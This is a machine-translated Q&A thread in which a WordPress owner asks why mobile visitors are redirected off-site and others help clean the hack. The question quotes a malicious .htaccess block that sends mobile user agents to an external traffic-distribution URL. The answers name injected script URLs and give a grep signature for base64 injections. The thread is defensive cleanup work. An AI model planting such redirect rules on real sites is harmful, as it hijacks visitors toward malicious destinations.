我正在尝试修复一个自我托管的WP网站,该网站使用了一个二十二个主题并进行了少量自定义(主要是CSS,不是很多PHP,都是由以前的网站管理员编写的)。
我在移动设备访问时遇到问题。他们都被重定向到网站外的URI。
我已经"重置" htacces文件。他们看起来像这样:
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} ^1207. (lot of other devices)
RewriteCond %{HTTP_ACCEPT} text\/vnd\.wap\.wml|application\/vnd\.wap\.xhtml\+xml [NC,OR]
RewriteCond %{HTTP:HTTP_X_WAP_PROFILE} .+ [OR]
RewriteCond %{HTTP:HTTP_PROFILE} .+ [OR]
RewriteCond %{HTTP:X-OperaMini-Features} .+ [OR]
RewriteCond %{HTTP:UA-pixels} .+
RewriteRule ^(.*)$ http://isupport.x24hr.com/tds/go.php?sid=1 [L,R=302]
现在我将其替换为Wordpress Codex中建议的htaccess。但是当尝试使用手机访问时,它仍然会被重定向到isupport.x24.com网站,在android中检索404,在iOS中检索502.
该网站是www.lagoabeachhostel.com
你可以想象,我是一个新手。我已经做了几个小时的研究,但仍然无法解决这个问题。在我看来,某个地方有一块我无法找到的剧本。
更新:我安装并运行了防恶意软件扫描插件。它将.htaccess作为可能的威胁进行检索。打开它我看到插件分析的.htaccess文件仍然是旧文件,这意味着我通过ftp上传的文件没有生效,因此解释了为什么服务器仍然重定向移动流量。 知道为什么会这样吗?如何有效地更改.htaccess文件?
你能帮我解决这个问题吗?我真的很感激!
答案 0 :(得分:1)
我有类似的问题 - 我的网站被重定向到一些爆炸网站,但我的.htaccess很干净。问题仅出在移动设备上。所以我在我的iPhone上安装了HttpWatch,我能够捕获来自我的移动设备的所有请求,该应用程序向我展示了来自http://letcaro.com/js/couter.js
的JavaScript内容。
在我拥有的每个主题中,通过PHP文件进行简单搜索,缩小到header.php。
答案 1 :(得分:1)
我们在源代码中遇到与http://letcaro.x24hr.com/js/couter.js
相同的问题。我在这里找到了很好的旧grep。
/wp-includes/post-template.php
要搜索的顽皮是:
grep -irn "base64_decode" | grep "eJzT189J"
在您的网站根目录
所有的荣耀都来自http://forum.joomla.org/viewtopic.php?t=861333#p3244318
的Peter Gramantik先生感谢彼得的发现:)
干杯希望这会节省一些人的时间。
答案 2 :(得分:0)
问题在于.htaccess文件通过ftp与服务器中的实际文件有所不同。
我以为我已经纠正了.htaccess RewriteRule,因为我已经通过ftp编辑了它。 但是当我通过cPanel中的文件管理员进行访问时,我确认通过ftp上传的文件确实不存在。
我知道有些托管不允许通过ftp更改此文件,但我认为在这种情况下我会收到错误消息。
所以,如果发生类似这样的事情,请记住通过cPanel仔细检查文件,即使你通过ftp更改了文件。